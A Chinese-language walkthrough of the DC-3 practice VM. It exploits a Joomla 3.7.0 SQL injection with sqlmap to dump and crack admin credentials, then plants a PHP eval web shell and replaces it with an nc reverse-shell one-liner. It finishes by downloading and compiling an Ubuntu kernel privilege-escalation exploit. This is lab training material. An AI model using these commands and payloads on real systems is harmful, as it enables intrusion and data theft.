靶机
DVWA
Upload-labs
Xss-labs
Pikachu
DC-1
DC-2
DC-3
DC-4
DC-5
DC-6
DC-7
DC-8
DC-9
-
+
首页
DC-3
DC系列是专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验,目前总共有9个靶机 关注微信公众号:网络安全101,公众号内回复**DC**,即可获取DC系列靶机镜像! 导入DC3靶机,网络适配器选择NAT模式,确保和kali处于同一IP段!!! ## 信息收集 > 确定目标主机IP地址 ``` netdiscover -i eth0 -r 192.168.84.0/24 ```  > 扫描IP开放端口 ``` masscan 192.168.84.178 --rate=10000 --ports 0-65535 ```  > 使用浏览器访问80端口  > 通过插件获取到相关信息  该网站由joomlaCMS搭建 > 利用joomscan工具进行扫描 ``` joomscan -h ```  扫描该网站 ``` joomscan -u http://192.168.84.178/ ```  获取到相关版本号和路径 > 查找是否有历史漏洞 ``` searchsploit Joomla 3.7.0 searchsploit -m 42033.txt // m 为下载到当前路径 ```  > 查看42033.txt  得到payload ``` sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] ``` 只需将localhost替换为目标地址即可 ``` sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] ``` ## web测试 > sqlmap 库名 ``` sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] ```  表名 ``` sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables ```  字段名 ``` sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" --columns ```  获取username、password字段数据 ``` sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" -C username,password --dump ```  > 对password进行解密  得到user的账户名与密码为admin、snoopy > 网站后台进行登录  > 存在网站模板  > 可以新建文件 - new file 在html目录下新建shell.php文件  写入内容 ``` <?php eval($_REQUEST[1])?> ``` 点击save进行保存 > 目录泄露  > 访问shell.php 并传参  > 蚁剑连接 ``` http://192.168.84.178/templates/beez3/html/shell.php?1=phpinfo(); ```  ## 提权 提权分为系统提权和应用提权 本次用的是系统提权 > 查看当前系统发行版本 ``` cat /etc/*release ```  > 搜索历史漏洞 ``` searchsploit ubuntu 16.04 ```  ``` searchsploit -m 39772 ``` 将对应的文档下载到当前目录 ``` cat 39772.txt ```  点击连接进行下载  > 写入反弹shell 将shell.php中的一句话木马修改为反弹shell的木马  ```php <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.84.174 10086 >/tmp/f'); ?> ``` 本地开启监听端口 ``` nc -lvnp 10086 ``` 浏览器访问shell.php文件 ``` http://192.168.84.179/templates/beez3/html/shell.php ```  > 靶机传送文件 由于在同一网络环境下, 开启http服务,用于传输文件   靶机中用wget进行下载文件  > 解压文件 ``` unzip 33992.zip ```  进入39772目录,解压exploit文件  进入ebpf_mapfd_doubleput_exploit目标,编译运行  拿到最终的flag 
毛林
2025年9月7日 11:42
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码